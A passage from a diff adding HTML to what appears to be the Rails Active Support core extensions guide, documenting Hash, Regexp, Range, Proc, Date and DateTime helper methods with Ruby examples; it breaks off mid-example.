+<p>The method <tt>assert_valid_keys</tt> receives an arbitrary number of arguments, and checks whether the receiver has any key outside that white list. If it does <tt>ArgumentError</tt> is raised.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+{:a =&gt; 1}.assert_valid_keys(:a)  # passes
+{:a =&gt; 1}.assert_valid_keys(&quot;a&quot;) # ArgumentError
+</pre>
+</div>
+</notextile>
+
+<p>Active Record does not accept unknown options when building associations for example. It implements that control via <tt>assert_valid_keys</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+mattr_accessor :valid_keys_for_has_many_association
+@@valid_keys_for_has_many_association = [
+  :class_name, :table_name, :foreign_key, :primary_key,
+  :dependent,
+  :select, :conditions, :include, :order, :group, :having, :limit, :offset,
+  :as, :through, :source, :source_type,
+  :uniq,
+  :finder_sql, :counter_sql,
+  :before_add, :after_add, :before_remove, :after_remove,
+  :extend, :readonly,
+  :validate, :inverse_of
+]
+
+def create_has_many_reflection(association_id, options, &amp;extension)
+  options.assert_valid_keys(valid_keys_for_has_many_association)
+  ...
+end
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Defined in <tt>active_support/core_ext/hash/keys.rb</tt>.</p></div>
+<h4 id="slicing">12.5 Slicing</h4>
+<p>Ruby has built-in support for taking slices out of strings and arrays. Active Support extends slicing to hashes:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+{:a =&gt; 1, :b =&gt; 2, :c =&gt; 3}.slice(:a, :c)
+# =&gt; {:c =&gt; 3, :a =&gt; 1}
+
+{:a =&gt; 1, :b =&gt; 2, :c =&gt; 3}.slice(:b, :X)
+# =&gt; {:b =&gt; 2} # non-existing keys are ignored
+</pre>
+</div>
+</notextile>
+
+<p>If the receiver responds to <tt>convert_key</tt> keys are normalized:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+{:a =&gt; 1, :b =&gt; 2}.with_indifferent_access.slice(&quot;a&quot;)
+# =&gt; {:a =&gt; 1}
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Slicing may come in handy for sanitizing option hashes with a white list of keys.</p></div>
+<p>There&#8217;s also <tt>slice!</tt> which in addition to perform a slice in place returns what&#8217;s removed:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+hash = {:a =&gt; 1, :b =&gt; 2}
+rest = hash.slice!(:a) # =&gt; {:b =&gt; 2}
+hash                   # =&gt; {:a =&gt; 1}
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Defined in <tt>active_support/core_ext/hash/slice.rb</tt>.</p></div>
+<h4 id="indifferent-access">12.6 Indifferent Access</h4>
+<p>The method <tt>with_indifferent_access</tt> returns an <tt>ActiveSupport::HashWithIndifferentAccess</tt> out of its receiver:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+{:a =&gt; 1}.with_indifferent_access[&quot;a&quot;] # =&gt; 1
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Defined in <tt>active_support/core_ext/hash/indifferent_access.rb</tt>.</p></div>
+<h3 id="extensions-to-regexp">13 Extensions to <tt>Regexp</tt></h3>
+<h4 id="multiline">13.1 <tt>multiline?</tt></h4>
+<p>The method <tt>multiline?</tt> says whether a regexp has the <tt>/m</tt> flag set, that is, whether the dot matches newlines.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+%r{.}.multiline?  # =&gt; false
+%r{.}m.multiline? # =&gt; true
+
+Regexp.new('.').multiline?                    # =&gt; false
+Regexp.new('.', Regexp::MULTILINE).multiline? # =&gt; true
+</pre>
+</div>
+</notextile>
+
+<p>Rails uses this method in a single place, also in the routing code. Multiline regexps are disallowed for route requirements and this flag eases enforcing that constraint.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def assign_route_options(segments, defaults, requirements)
+  ...
+  if requirement.multiline?
+    raise ArgumentError, &quot;Regexp multiline option not allowed in routing requirements: #{requirement.inspect}&quot;
+  end
+  ...
+end
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Defined in <tt>active_support/core_ext/regexp.rb</tt>.</p></div>
+<h3 id="extensions-to-range">14 Extensions to <tt>Range</tt></h3>
+<h4 id="to_s">14.1 <tt>to_s</tt></h4>
+<p>Active Support extends the method <tt>Range#to_s</tt> so that it understands an optional format argument. As of this writing the only supported non-default format is <tt>:db</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+(Date.today..Date.tomorrow).to_s
+# =&gt; &quot;2009-10-25..2009-10-26&quot;
+
+(Date.today..Date.tomorrow).to_s(:db)
+# =&gt; &quot;BETWEEN '2009-10-25' AND '2009-10-26'&quot;
+</pre>
+</div>
+</notextile>
+
+<p>As the example depicts, the <tt>:db</tt> format generates a <tt>BETWEEN</tt> <span class="caps">SQL</span> clause. That is used by Active Record in its support for range values in conditions.</p>
+<div class='note'><p>Defined in <tt>active_support/core_ext/range/conversions.rb</tt>.</p></div>
+<h4 id="step">14.2 <tt>step</tt></h4>
+<p>Active Support extends the method <tt>Range#step</tt> so that it can be invoked without a block:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+(1..10).step(2) # =&gt; [1, 3, 5, 7, 9]
+</pre>
+</div>
+</notextile>
+
+<p>As the example shows, in that case the method returns and array with the corresponding elements.</p>
+<div class='note'><p>Defined in <tt>active_support/core_ext/range/blockless_step.rb</tt>.</p></div>
+<h4 id="include">14.3 <tt>include?</tt></h4>
+<p>The method <tt>Range#include?</tt> says whether some value falls between the ends of a given instance:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+(2..3).include?(Math::E) # =&gt; true
+</pre>
+</div>
+</notextile>
+
+<p>Active Support extends this method so that the argument may be another range in turn. In that case we test whether the ends of the argument range belong to the receiver themselves:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+(1..10).include?(3..7)  # =&gt; true
+(1..10).include?(0..7)  # =&gt; false
+(1..10).include?(3..11) # =&gt; false
+(1...9).include?(3..9)  # =&gt; false
+</pre>
+</div>
+</notextile>
+
+<div class='warning'><p>The original <tt>Range#include?</tt> is still the one aliased to <tt>Range#===</tt>.</p></div>
+<div class='note'><p>Defined in <tt>active_support/core_ext/range/include_range.rb</tt>.</p></div>
+<h4 id="overlaps">14.4 <tt>overlaps?</tt></h4>
+<p>The method <tt>Range#overlaps?</tt> says whether any two given ranges have non-void intersection:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+(1..10).overlaps?(7..11)  # =&gt; true
+(1..10).overlaps?(0..7)   # =&gt; true
+(1..10).overlaps?(11..27) # =&gt; false
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Defined in <tt>active_support/core_ext/range/overlaps.rb</tt>.</p></div>
+<h3 id="extensions-to-proc">15 Extensions to <tt>Proc</tt></h3>
+<h4 id="bind">15.1 <tt>bind</tt></h4>
+<p>As you surely know Ruby has an <tt>UnboundMethod</tt> class whose instances are methods that belong to the limbo of methods without a self. The method <tt>Module#instance_method</tt> returns an unbound method for example:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Hash.instance_method(:delete) # =&gt; #&lt;UnboundMethod: Hash#delete&gt;
+</pre>
+</div>
+</notextile>
+
+<p>An unbound method is not callable as is, you need to bind it first to an object with <tt>bind</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+clear = Hash.instance_method(:clear)
+clear.bind({:a =&gt; 1}).call # =&gt; {}
+</pre>
+</div>
+</notextile>
+
+<p>Active Support defines <tt>Proc#bind</tt> with an analogous purpose:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Proc.new { size }.bind([]).call # =&gt; 0
+</pre>
+</div>
+</notextile>
+
+<p>As you see that&#8217;s callable and bound to the argument, the return value is indeed a <tt>Method</tt>.</p>
+<div class='note'><p>To do so <tt>Proc#bind</tt> actually creates a method under the hood. If you ever see a method with a weird name like <tt>__bind_1256598120_237302</tt> in a stack trace you know now where it comes from.</p></div>
+<p>Action Pack uses this trick in <tt>rescue_from</tt> for example, which accepts the name of a method and also a proc as callbacks for a given rescued exception. It has to call them in either case, so a bound method is returned by <tt>handler_for_rescue</tt>, thus simplifying the code in the caller:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def handler_for_rescue(exception)
+  _, rescuer = Array(rescue_handlers).reverse.detect do |klass_name, handler|
+    ...
+  end
+
+  case rescuer
+  when Symbol
+    method(rescuer)
+  when Proc
+    rescuer.bind(self)
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Defined in <tt>active_support/core_ext/proc.rb</tt>.</p></div>
+<h3 id="extensions-to-date">16 Extensions to <tt>Date</tt></h3>
+<h4 id="calculations">16.1 Calculations</h4>
+<div class='note'><p>All the following methods are defined in <tt>active_support/core_ext/date/calculations.rb</tt>.</p></div>
+<div class='info'><p>The following calculation methods have edge cases in October 1582, since days 5..14 just do not exist. This guide does not document their behavior around those days for brevity, but it is enough to say that they do what you would expect. That is, <tt>Date.new(1582, 10, 4).tomorrow</tt> returns <tt>Date.new(1582, 10, 15)</tt> and so on. Please check <tt>test/core_ext/date_ext_test.rb</tt> in the Active Support test suite for expected behavior.</p></div>
+<h5 id="date-current">16.1.1 <tt>Date.current</tt></h5>
+<p>Active Support defines <tt>Date.current</tt> to be today in the current time zone. That&#8217;s like <tt>Date.today</tt>, except that it honors the user time zone, if defined. It also defines <tt>Date.yesterday</tt> and <tt>Date.tomorrow</tt>, and the instance predicates <tt>past?</tt>, <tt>today?</tt>, and <tt>future?</tt>, all of them relative to <tt>Date.current</tt>.</p>
+<h5 id="named-dates">16.1.2 Named dates</h5>
+<h6 id="prev_year-next_year">16.1.2.1 <tt>prev_year</tt>, <tt>next_year</tt></h6>
+<p>In Ruby 1.9 <tt>prev_year</tt> and <tt>next_year</tt> return a date with the same day/month in the last or next year:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+d = Date.new(2010, 5, 8) # =&gt; Sat, 08 May 2010
+d.prev_year              # =&gt; Fri, 08 May 2009
+d.next_year              # =&gt; Sun, 08 May 2011
+</pre>
+</div>
+</notextile>
+
+<p>If date is the 29th of February of a leap year, you obtain the 28th:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+d = Date.new(2000, 2, 29) # =&gt; Tue, 29 Feb 2000
+d.prev_year               # =&gt; Sun, 28 Feb 1999
+d.next_year               # =&gt; Wed, 28 Feb 2001
+</pre>
+</div>
+</notextile>
+
+<p>Active Support defines these methods as well for Ruby 1.8.</p>
+<h6 id="prev_month-next_month">16.1.2.2 <tt>prev_month</tt>, <tt>next_month</tt></h6>
+<p>In Ruby 1.9 <tt>prev_month</tt> and <tt>next_month</tt> return the date with the same day in the last or next month:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+d = Date.new(2010, 5, 8) # =&gt; Sat, 08 May 2010
+d.prev_month             # =&gt; Thu, 08 Apr 2010
+d.next_month             # =&gt; Tue, 08 Jun 2010
+</pre>
+</div>
+</notextile>
+
+<p>If such a day does not exist, the last day of the corresponding month is returned:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Date.new(2000, 5, 31).prev_month # =&gt; Sun, 30 Apr 2000
+Date.new(2000, 3, 31).prev_month # =&gt; Tue, 29 Feb 2000
+Date.new(2000, 5, 31).next_month # =&gt; Fri, 30 Jun 2000
+Date.new(2000, 1, 31).next_month # =&gt; Tue, 29 Feb 2000
+</pre>
+</div>
+</notextile>
+
+<p>Active Support defines these methods as well for Ruby 1.8.</p>
+<h6 id="beginning_of_week-end_of_week">16.1.2.3 <tt>beginning_of_week</tt>, <tt>end_of_week</tt></h6>
+<p>The methods <tt>beginning_of_week</tt> and <tt>end_of_week</tt> return the dates for the beginning and end of week, assuming weeks start on Monday:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+d = Date.new(2010, 5, 8) # =&gt; Sat, 08 May 2010
+d.beginning_of_week      # =&gt; Mon, 03 May 2010
+d.end_of_week            # =&gt; Sun, 09 May 2010
+</pre>
+</div>
+</notextile>
+
+<p><tt>beginning_of_week</tt> is aliased to <tt>monday</tt> and <tt>at_beginning_of_week</tt>. <tt>end_of_week</tt> is aliased to <tt>sunday</tt> and <tt>at_end_of_week</tt>.</p>
+<h6 id="next_week">16.1.2.4 <tt>next_week</tt></h6>
+<p><tt>next_week</tt> receives a symbol with a day name in English (in lowercase, default is <tt>:monday</tt>) and it returns the date corresponding to that day in the next week:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+d = Date.new(2010, 5, 9) # =&gt; Sun, 09 May 2010
+d.next_week              # =&gt; Mon, 10 May 2010
+d.next_week(:saturday)   # =&gt; Sat, 15 May 2010
+</pre>
+</div>
+</notextile>
+
+<h6 id="beginning_of_month-end_of_month">16.1.2.5 <tt>beginning_of_month</tt>, <tt>end_of_month</tt></h6>
+<p>The methods <tt>beginning_of_month</tt> and <tt>end_of_month</tt> return the dates for the beginning and end of the month:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+d = Date.new(2010, 5, 9) # =&gt; Sun, 09 May 2010
+d.beginning_of_month     # =&gt; Sat, 01 May 2010
+d.end_of_month           # =&gt; Mon, 31 May 2010
+</pre>
+</div>
+</notextile>
+
+<p><tt>beginning_of_month</tt> is aliased to <tt>at_beginning_of_month</tt>, and <tt>end_of_month</tt> is aliased to <tt>at_end_of_month</tt>.</p>
+<h6 id="beginning_of_quarter-end_of_quarter">16.1.2.6 <tt>beginning_of_quarter</tt>, <tt>end_of_quarter</tt></h6>
+<p>The methods <tt>beginning_of_quarter</tt> and <tt>end_of_quarter</tt> return the dates for the beginning and end of the quarter of the receiver&#8217;s calendar year:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+d = Date.new(2010, 5, 9) # =&gt; Sun, 09 May 2010
+d.beginning_of_quarter   # =&gt; Thu, 01 Apr 2010
+d.end_of_quarter         # =&gt; Wed, 30 Jun 2010
+</pre>
+</div>
+</notextile>
+
+<p><tt>beginning_of_quarter</tt> is aliased to <tt>at_beginning_of_quarter</tt>, and <tt>end_of_quarter</tt> is aliased to <tt>at_end_of_quarter</tt>.</p>
+<h6 id="beginning_of_year-end_of_year">16.1.2.7 <tt>beginning_of_year</tt>, <tt>end_of_year</tt></h6>
+<p>The methods <tt>beginning_of_year</tt> and <tt>end_of_year</tt> return the dates for the beginning and end of the year:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+d = Date.new(2010, 5, 9) # =&gt; Sun, 09 May 2010
+d.beginning_of_year      # =&gt; Fri, 01 Jan 2010
+d.end_of_year            # =&gt; Fri, 31 Dec 2010
+</pre>
+</div>
+</notextile>
+
+<p><tt>beginning_of_year</tt> is aliased to <tt>at_beginning_of_year</tt>, and <tt>end_of_year</tt> is aliased to <tt>at_end_of_year</tt>.</p>
+<h5 id="other-date-computations">16.1.3 Other Date Computations</h5>
+<h6 id="years_ago-years_since">16.1.3.1 <tt>years_ago</tt>, <tt>years_since</tt></h6>
+<p>The method <tt>years_ago</tt> receives a number of years and returns the same date those many years ago:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+date = Date.new(2010, 6, 7)
+date.years_ago(10) # =&gt; Wed, 07 Jun 2000
+</pre>
+</div>
+</notextile>
+
+<p><tt>years_since</tt> moves forward in time:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+date = Date.new(2010, 6, 7)
+date.years_since(10) # =&gt; Sun, 07 Jun 2020
+</pre>
+</div>
+</notextile>
+
+<p>If such a day does not exist, the last day of the corresponding month is returned:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Date.new(2012, 2, 29).years_ago(3)     # =&gt; Sat, 28 Feb 2009
+Date.new(2012, 2, 29).years_since(3)   # =&gt; Sat, 28 Feb 2015
+</pre>
+</div>
+</notextile>
+
+<h6 id="months_ago-months_since">16.1.3.2 <tt>months_ago</tt>, <tt>months_since</tt></h6>
+<p>The methods <tt>months_ago</tt> and <tt>months_since</tt> work analogously for months:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Date.new(2010, 4, 30).months_ago(2)   # =&gt; Sun, 28 Feb 2010
+Date.new(2010, 4, 30).months_since(2) # =&gt; Wed, 30 Jun 2010
+</pre>
+</div>
+</notextile>
+
+<p>If such a day does not exist, the last day of the corresponding month is returned:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Date.new(2010, 4, 30).months_ago(2)    # =&gt; Sun, 28 Feb 2010
+Date.new(2009, 12, 31).months_since(2) # =&gt; Sun, 28 Feb 2010
+</pre>
+</div>
+</notextile>
+
+<h6 id="advance">16.1.3.3 <tt>advance</tt></h6>
+<p>The most generic way to jump to other days is <tt>advance</tt>. This method receives a hash with keys <tt>:years</tt>, <tt>:months</tt>, <tt>:weeks</tt>, <tt>:days</tt>, and returns a date advanced as much as the present keys indicate:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+date = Date.new(2010, 6, 6)
+date.advance(:years =&gt; 1, :weeks =&gt; 2)  # =&gt; Mon, 20 Jun 2011
+date.advance(:months =&gt; 2, :days =&gt; -2) # =&gt; Wed, 04 Aug 2010
+</pre>
+</div>
+</notextile>
+
+<p>Note in the previous example that increments may be negative.</p>
+<p>To perform the computation the method first increments years, then months, then weeks, and finally days. This order is important towards the end of months. Say for example we are at the end of February of 2010, and we want to move one month and one day forward.</p>
+<p>The method <tt>advance</tt> advances first one month, and then one day, the result is:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Date.new(2010, 2, 28).advance(:months =&gt; 1, :days =&gt; 1)
+# =&gt; Sun, 29 Mar 2010
+</pre>
+</div>
+</notextile>
+
+<p>While if it did it the other way around the result would be different:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Date.new(2010, 2, 28).advance(:days =&gt; 1).advance(:months =&gt; 1)
+# =&gt; Thu, 01 Apr 2010
+</pre>
+</div>
+</notextile>
+
+<h5 id="changing-components">16.1.4 Changing Components</h5>
+<p>The method <tt>change</tt> allows you to get a new date which is the same as the receiver except for the given year, month, or day:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Date.new(2010, 12, 23).change(:year =&gt; 2011, :month =&gt; 11)
+# =&gt; Wed, 23 Nov 2011
+</pre>
+</div>
+</notextile>
+
+<p>This method is not tolerant to non-existing dates, if the change is invalid <tt>ArgumentError</tt> is raised:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Date.new(2010, 1, 31).change(:month =&gt; 2)
+# =&gt; ArgumentError: invalid date
+</pre>
+</div>
+</notextile>
+
+<h5 id="date-durations">16.1.5 Durations</h5>
+<p>Durations can be added and substracted to dates:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+d = Date.current
+# =&gt; Mon, 09 Aug 2010
+d + 1.year
+# =&gt; Tue, 09 Aug 2011
+d - 3.hours
+# =&gt; Sun, 08 Aug 2010 21:00:00 UTC +00:00
+</pre>
+</div>
+</notextile>
+
+<p>They translate to calls to <tt>since</tt> or <tt>advance</tt>. For example here we get the correct jump in the calendar reform:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Date.new(1582, 10, 4) + 1.day
+# =&gt; Fri, 15 Oct 1582
+</pre>
+</div>
+</notextile>
+
+<h5 id="timestamps">16.1.6 Timestamps</h5>
+<div class='info'><p>The following methods return a <tt>Time</tt> object if possible, otherwise a <tt>DateTime</tt>. If set, they honor the user time zone.</p></div>
+<h6 id="beginning_of_day-end_of_day">16.1.6.1 <tt>beginning_of_day</tt>, <tt>end_of_day</tt></h6>
+<p>The method <tt>beginning_of_day</tt> returns a timestamp at the beginning of the day (00:00:00):</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+date = Date.new(2010, 6, 7)
+date.beginning_of_day # =&gt; Sun Jun 07 00:00:00 +0200 2010
+</pre>
+</div>
+</notextile>
+
+<p>The method <tt>end_of_day</tt> returns a timestamp at the end of the day (23:59:59):</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+date = Date.new(2010, 6, 7)
+date.end_of_day # =&gt; Sun Jun 06 23:59:59 +0200 2010
+</pre>
+</div>
+</notextile>
+
+<p><tt>beginning_of_day</tt> is aliased to <tt>at_beginning_of_day</tt>, <tt>midnight</tt>, <tt>at_midnight</tt>.</p>
+<h6 id="ago-since">16.1.6.2 <tt>ago</tt>, <tt>since</tt></h6>
+<p>The method <tt>ago</tt> receives a number of seconds as argument and returns a timestamp those many seconds ago from midnight:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+date = Date.current # =&gt; Fri, 11 Jun 2010
+date.ago(1)         # =&gt; Thu, 10 Jun 2010 23:59:59 EDT -04:00
+</pre>
+</div>
+</notextile>
+
+<p>Similarly, <tt>since</tt> moves forward:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+date = Date.current # =&gt; Fri, 11 Jun 2010
+date.since(1)       # =&gt; Fri, 11 Jun 2010 00:00:01 EDT -04:00
+</pre>
+</div>
+</notextile>
+
+<h5 id="other-time-computations">16.1.7 Other Time Computations</h5>
+<h4 id="date-conversions">16.2 Conversions</h4>
+<h3 id="extensions-to-datetime">17 Extensions to <tt>DateTime</tt></h3>
+<div class='warning'><p><tt>DateTime</tt> is not aware of <span class="caps">DST</span> rules and so some of these methods have edge cases when a <span class="caps">DST</span> change is going on. For example <tt>seconds_since_midnight</tt> might not return the real amount in such a day.</p></div>
+<h4 id="calculations-datetime">17.1 Calculations</h4>
+<div class='note'><p>All the following methods are defined in <tt>active_support/core_ext/date_time/calculations.rb</tt>.</p></div>
+<p>The class <tt>DateTime</tt> is a subclass of <tt>Date</tt> so by loading <tt>active_support/core_ext/date/calculations.rb</tt> you inherit these methods and their aliases, except that they will always return datetimes:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+yesterday
+tomorrow
+beginning_of_week (monday, at_beginning_of_week)
+end_on_week (at_end_of_week)
+next_week
+months_ago
+months_since
+beginning_of_month (at_beginning_of_month)
+end_of_month (at_end_of_month)
+prev_month
+next_month
+beginning_of_quarter (at_beginning_of_quarter)
+end_of_quarter (at_end_of_quarter)
+beginning_of_year (at_beginning_of_year)
+end_of_year (at_end_of_year)
+years_ago
+years_since
+prev_year
+next_year
+</pre>
+</div>
+</notextile>
+
+<p>The following methods are reimplemented so you do <strong>not</strong> need to load <tt>active_support/core_ext/date/calculations.rb</tt> for these ones:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+beginning_of_day (midnight, at_midnight, at_beginning_of_day)
+end_of_day
+ago
+since (in)
+</pre>
+</div>
+</notextile>
+
+<p>On the other hand, <tt>advance</tt> and <tt>change</tt> are also defined and support more options, they are documented below.</p>
+<h5 id="named-datetimes">17.1.1 Named Datetimes</h5>
+<h6 id="datetime-current">17.1.1.1 <tt>DateTime.current</tt></h6>
+<p>Active Support defines <tt>DateTime.current</tt> to be like <tt>Time.now.to_datetime</tt>, except that it honors the user time zone, if defined. It also defines instance predicates <tt>past?</tt>, and <tt>future?</tt> relative to <tt>DateTime.current</tt>.</p>
+<h5 id="other-extensions">17.1.2 Other Extensions</h5>
+<h6 id="seconds_since_midnight">17.1.2.1 <tt>seconds_since_midnight</tt></h6>
+<p>The method <tt>seconds_since_midnight</tt> returns the number of seconds since midnight:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+now = DateTime.current     # =&gt; Mon, 07 Jun 2010 20:26:36 +0000
+now.seconds_since_midnight # =&gt; 73596
+</pre>
+</div>
+</notextile>
+
+<h6 id="utc-datetime">17.1.2.2 <tt>utc</tt></h6>
+<p>The method <tt>utc</tt> gives you the same datetime in the receiver expressed in <span class="caps">UTC</span>.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+now = DateTime.current # =&gt; Mon, 07 Jun 2010 19:27:52 -0400
+now.utc                # =&gt; Mon, 07 Jun 2010 23:27:52 +0000
+</pre>
+</div>
+</notextile>
+
+<p>This method is also aliased as <tt>getutc</tt>.</p>
+<h6 id="utc">17.1.2.3 <tt>utc?</tt></h6>
+<p>The predicate <tt>utc?</tt> says whether the receiver has <span class="caps">UTC</span> as its time zone:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+now = DateTime.now # =&gt; Mon, 07 Jun 2010 19:30:47 -0400
+now.utc?           # =&gt; false
+now.utc.utc?       # =&gt; true
+</pre>
+</div>
+</notextile>
+
+<h6 id="datetime-advance">17.1.2.4 <tt>advance</tt></h6>
+<p>The most generic way to jump to another datetime is <tt>advance</tt>. This method receives a hash with keys <tt>:years</tt>, <tt>:months</tt>, <tt>:weeks</tt>, <tt>:days</tt>, <tt>:hours</tt>, <tt>:minutes</tt>, and <tt>:seconds</tt>, and returns a datetime advanced as much as the present keys indicate.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+d = DateTime.current
+# =&gt; Thu, 05 Aug 2010 11:33:31 +0000
+d.advance(:years =&gt; 1, :months =&gt; 1, :days =&gt; 1, :hours =&gt; 1, :minutes =&gt; 1, :seconds =&gt; 1)
+# =&gt; Tue, 06 Sep 2011 12:34:32 +0000
+</pre>
+</div>
+</notextile>
+
+<p>This method first computes the destination date passing <tt>:years</tt>, <tt>:months</tt>, <tt>:weeks</tt>, and <tt>:days</tt> to <tt>Date#advance</tt> documented above. After that, it adjusts the time calling <tt>since</tt> with the number of seconds to advance. This order is relevant, a different ordering would give different datetimes in some edge-cases. The example in <tt>Date#advance</tt> applies, and we can extend it to show order relevance related to the time bits.</p>
+<p>If we first move the date bits (that have also a relative order of processing, as documented before), and then the time bits we get for example the following computation:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+d = DateTime.new(2010, 2, 28, 23, 59, 59)
+# =&gt; Sun, 28 Feb 2010 23:59:59 +0000
+d.advance(:months =&gt; 1, :seconds =&gt; 1)
+# =&gt; Mon, 29 Mar 2010 00:00:00 +0000
+</pre>
+</div>
+</notextile>
+
+<p>but if we computed them the other way around, the result would be different:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+d.advance(:seconds =&gt; 1).advance(:months =&gt; 1)
+# =&gt; Thu, 01 Apr 2010 00:00:00 +0000
+</pre>
+</div>
+</notextile>
+
+<div class='warning'><p>Since <tt>DateTime</tt> is not <span class="caps">DST</span>-aware you can end up in a non-existing point in time with no warning or error telling you so.</p></div>
+<h5 id="datetime-changing-components">17.1.3 Changing Components</h5>
+<p>The method <tt>change</tt> allows you to get a new datetime which is the same as the receiver except for the given options, which may include <tt>:year</tt>, <tt>:month</tt>, <tt>:day</tt>, <tt>:hour</tt>, <tt>:min</tt>, <tt>:sec</tt>, <tt>:offset</tt>, <tt>:start</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+now = DateTime.current
+# =&gt; Tue, 08 Jun 2010 01:56:22 +0000
+now.change(:year =&gt; 2011, :offset =&gt; Rational(-6, 24))
+# =&gt; Wed, 08 Jun 2011 01:56:22 -0600
+</pre>
+</div>
+</notextile>
+
+<p>If hours are zeroed, then minutes and seconds are too (unless they have given values):</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+now.change(:hour =&gt; 0)
+# =&gt; Tue, 08 Jun 2010 00:00:00 +0000
+</pre>
+</div>
+</notextile>
+
+<p>Similarly, if minutes are zeroed, then seconds are too (unless it has given a value):</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+now.change(:min =&gt; 0)
+# =&gt; Tue, 08 Jun 2010 01:00:00 +0000
+</pre>
+</div>
+</notextile>
+
+<p>This method is not tolerant to non-existing dates, if the change is invalid <tt>ArgumentError</tt> is raised:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+DateTime.current.change(:month =&gt; 2, :day =&gt; 30)
+# =&gt; ArgumentError: invalid date
+</pre>
+</div>
+</notextile>
+
+<h5 id="datetime-durations">17.1.4 Durations</h5>
+<p>Durations can be added and substracted to datetimes:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+now = DateTime.current
+# =&gt; Mon, 09 Aug 2010 23:15:17 +0000
+now + 1.year
